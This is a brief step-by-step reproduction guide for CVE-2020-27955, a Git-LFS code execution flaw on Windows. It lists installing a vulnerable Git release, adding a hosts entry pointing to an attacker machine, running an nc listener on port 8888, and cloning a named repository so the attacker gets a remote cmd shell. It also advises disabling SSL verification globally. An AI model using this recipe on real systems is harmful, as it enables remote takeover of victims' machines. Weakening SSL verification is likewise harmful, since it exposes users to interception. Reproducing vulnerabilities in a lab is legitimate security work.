CVE-2020-27955 Vulnerability Reproduction
- Download the vulnerable version of Git-LFS on the Windows machine
Download link: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1
- Install on the Windows machine, add the following information to the hosts file. 10.1.1.5 is the host that nc listens on port 8888 (can be replaced as needed)
10.1.1.5 abcall.xyz
- On the 10.1.1.5 host, start nc listening on port 8888
┌──(root㉿hostname)-[~]
└─# nc
Cmd line: -l -p 8888
- On the Windows machine, enter the following command in cmd
git clone https://github.com/z50913/CVE-2020-27955.git
- The 10.1.1.5 host obtains a cmd shell on the Windows machine
#Other
If an SSL certificate error occurs, first run the following command to disable SSL verification, then clone again
git config --global http.sslverify false